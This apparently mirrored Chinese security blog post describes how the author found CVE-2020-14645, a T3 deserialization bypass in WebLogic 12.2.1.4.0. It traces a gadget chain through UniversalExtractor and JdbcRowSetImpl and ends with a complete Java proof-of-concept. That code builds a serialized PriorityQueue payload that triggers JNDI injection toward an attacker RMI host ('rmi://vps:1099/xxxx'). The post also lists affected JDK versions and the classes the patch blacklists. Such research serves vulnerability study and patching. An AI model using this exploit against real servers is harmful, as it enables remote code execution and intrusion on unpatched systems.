9

T3反序列化 Weblogic12.2.1.4.0 JNDI注入挖掘过程(CVE-2020-14645)

 3 years ago
source link: https://www.smi1e.top/t3%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-weblogic12-2-1-4-0-jndi%e6%b3%a8%e5%85%a5/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

T3反序列化 Weblogic12.2.1.4.0 JNDI注入挖掘过程(CVE-2020-14645)

()首发于:https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ

CVE-2020-2883 将 extract 方法存在危险操作的 MvelExtractorReflectionExtractor 两个类加入到了黑名单中,因此我们只需要继续找一个 extract 方法存在危险操作的类即可绕过补丁,这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类 com.tangosol.util.extractor.UniversalExtractor,因此只能打 Weblogic 12.2.1.4.x。

1.png

Oracle WebLogic Server 12.2.1.4.0

入口同 CVE-2020-2883,利用 java.util.PriorityQueue 反序列化时会间接调用 com.tangosol.util.ValueExtractor 接口任意实现类的 extract 方法。

2.png
在 CVE-2020-2883 中我们可以使用 com.tangosol.coherence.rest.util.extractor.MvelExtractorextract 方法执行mvel表达式或者使用 com.tangosol.util.extractor.ReflectionExtractorextract 方法反射调用任意方法。但是补丁把他们都加入到了黑名单中,因此我们需要再找一个 extract 方法有危险操作且实现了 com.tangosol.util.ValueExtractor 接口的类。
我这里找到的是 com.tangosol.util.extractor.UniversalExtractor
public class UniversalExtractor<T, E> extends AbstractExtractor<T, E> implements ValueExtractor<T, E>, ExternalizableLite, PortableObject {
    public static final String[] BEAN_ACCESSOR_PREFIXES;
    public static final String METHOD_SUFFIX = "()";
    @JsonbProperty("name")
    protected String m_sName;
    @JsonbProperty("params")
    protected Object[] m_aoParam;
    protected transient String m_sNameCanon;
    private transient TargetReflectionDescriptor m_cacheTarget;
    private transient boolean m_fMethod;
    ......
}

看其 extract 方法,虽然if条件中有一个 invoke 操作,但是 this.m_cacheTarget 使用了 transient 修饰导致无法被序列化。

3.png
跟进else条件中的 extractComplex 方法,该方法中也有一个 invoke 操作,虽然我们可以控制参数  oTargetaoParam ,但是 method 对象的获取过程也有一个if条件。
4.png
ClassHelper.findMethod 方法通过类、方法名以及方法的参数类型数组来反射返回该类中的特定方法。因此只要我们进入else条件中,即可调用任意类的任意方法。
5.png
进入else条件的前提是 this.isPropertyExtractor() 返回false,也就是 this.m_fMethod 为true,但是该成员变量依然使用 transient 修饰,无法序列化,因此我们只能寄希望于if条件中。
public boolean isPropertyExtractor() {
    return !this.m_fMethod;
}

看下if条件

protected E extractComplex(T oTarget) throws InvocationTargetException, IllegalAccessException {
        ......
    String sCName = this.getCanonicalName();
    boolean fProperty = this.isPropertyExtractor();
    Method method = null;
    if (fProperty) {
        String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);

        for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {
            method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);
    }else{
      ......
    }
}

跟进 sCName 的赋值过程 this.getCanonicalName() ,因为this对象的原因,Lambdas.getValueExtractorCanonicalName 无论如何都会返回null。

6.png
接着看下 CanonicalNames.computeValueExtractorCanonicalName ,如果 aoParam 不为 null 且数组长度大于0就会返回 null ,因此我们可调用的方法必须是无参的。接着如果方法名 sName 不以 () 结尾,则直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头,是的话就会截取掉并返回。
7.png
回到 extractComplex 方法中,在if条件里会对上面返回的方法名做首字母大写处理,然后拼接 BEAN_ACCESSOR_PREFIXES 数组中的前缀判断 clzTarget 类中是否含有拼接后的方法,此时会发现我们现在无论如何只能调用任意类中 getis 开头的方法,并且是无参的,条件有些苛刻。
8.png
不过仔细观察发现 UniversalExtractor#extract 方法可以调用两次,我们可以利用第一次调用改变 UniversalExtractor 对象的关键成员变量值,在第二次调用时完成利用。
9.png
接下来我想了三个思路:
  1. 直接去找所有类中 getis 开头并且可利用的无参方法
  2. 想办法调用 init 方法对 this.m_fMethod 进行赋值,从而令 fProperty 的值为false并进入else条件中。
10.png
  1. extractComplex 方法中对 this.m_cacheTarget 进行了赋值,因此我们第二次调用 UniversalExtractor#extract 方法时可以进入到if条件中执行 targetPrev.getMethod().invoke()
11.png
12.png
由于我们只能调用 getis 开头的方法,因此思路2不行。由于我们在利用 targetPrev.getMethod().invoke() 调用任意方法时,传入的参数和 extractComplex 方法中 findMethod 的参数是同一个,导致如果我们调用非 getis 开头的方法时,findMethod 会返回 null ,从而在 method.invoke 时会报错,这样的话就无法第二次调用 UniversalExtractor#extract 方法,因此思路3也不行。
最终只能用思路1去全局搜 getis 开头且存在危险操作的无参方法。虽然只能调用无参方法,但是我们可以通过序列化控制对象的成员变量来获取一些可控点,当然该方法所在的类必须是可序列化的,另外该方法的危险操作涉及到的对象依然需要可序列化,否则无法利用。
这个寻找过程和fastjson有些相似,最终找到了 com.sun.rowset.JdbcRowSetImpl 这个jdk内置类,看下其 getDatabaseMetaData() 方法。
13.png
跟进 this.connect() ,可以发现只要 this.getDataSourceName() 可控,我们就能进行JNDI注入。
14.png
getDataSourceName() 调用的是父类 javax.sql.rowset.BaseRowSet 的,其 dataSource  属性是可序列化的,因此我们可以控制 this.getDataSourceName() 的返回值。
private String dataSource;
15.png
最终poc
import java.io.*;
import java.lang.reflect.Field;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import java.util.PriorityQueue;
import com.tangosol.util.extractor.UniversalExtractor;
public class Weblogic12_2_1_4_JNDI {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException,  IOException, Exception {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://vps:1099/xxxx"); //JNDI address
        String m_sName = "getDatabaseMetaData()";
        Object[] m_aoParam = new Object[0];

        UniversalExtractor universalExtractor = new UniversalExtractor(m_sName, m_aoParam,0);

        Object[] innerArr = new Object[2];
        innerArr[0] = jdbcRowSet;
        innerArr[1] = jdbcRowSet;

        ExtractorComparator extractorComparator = new ExtractorComparator(universalExtractor);
        PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);

        Field filed =  PriorityQueue.class.getDeclaredField("queue");
        filed.setAccessible(true);
        filed.set(priorityQueue, innerArr);
        Field filed2 =  PriorityQueue.class.getDeclaredField("size");
        filed2.setAccessible(true);
        filed2.set(priorityQueue, 2);

        ser(priorityQueue, "./weblogic_12.2.1.4.0_JNDI.ser");
    }

    public static void ser(Object obj, String serName) throws IOException {
        File file = new File(serName);
        ObjectOutputStream oos = new ObjectOutputStream(new DataOutputStream(new FileOutputStream(file)));
        oos.writeObject(obj);
        System.out.println("-------序列化成功" + serName);
    }

}

由于Weblogic在JEP290机制下做的是全局反序列化过滤,而JNDI在jdk高版本依赖于本地Class的反序列化链,因此在Weblogic中JNDI注入只能打 JDK6u211、7u201、8u191 之前的版本。

p31537019_122140_Generic.zip:https://updates.oracle.com/Orion/Services/download/p31537019_122140_Generic.zip?aru=23654622&patch_file=p31537019_122140_Generic.zip
可以看到最新补丁的黑名单中不仅过滤了 com.tangosol.util.extractor.UniversalExtractor ,还过滤了 com.tangosol.util.extractor 包下的其他几个类,另外也把com.tangosol.coherence.rest.util.extractorcom.tangosol.internal.util.invoke.lambda  等一些包加入了黑名单中。

16.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK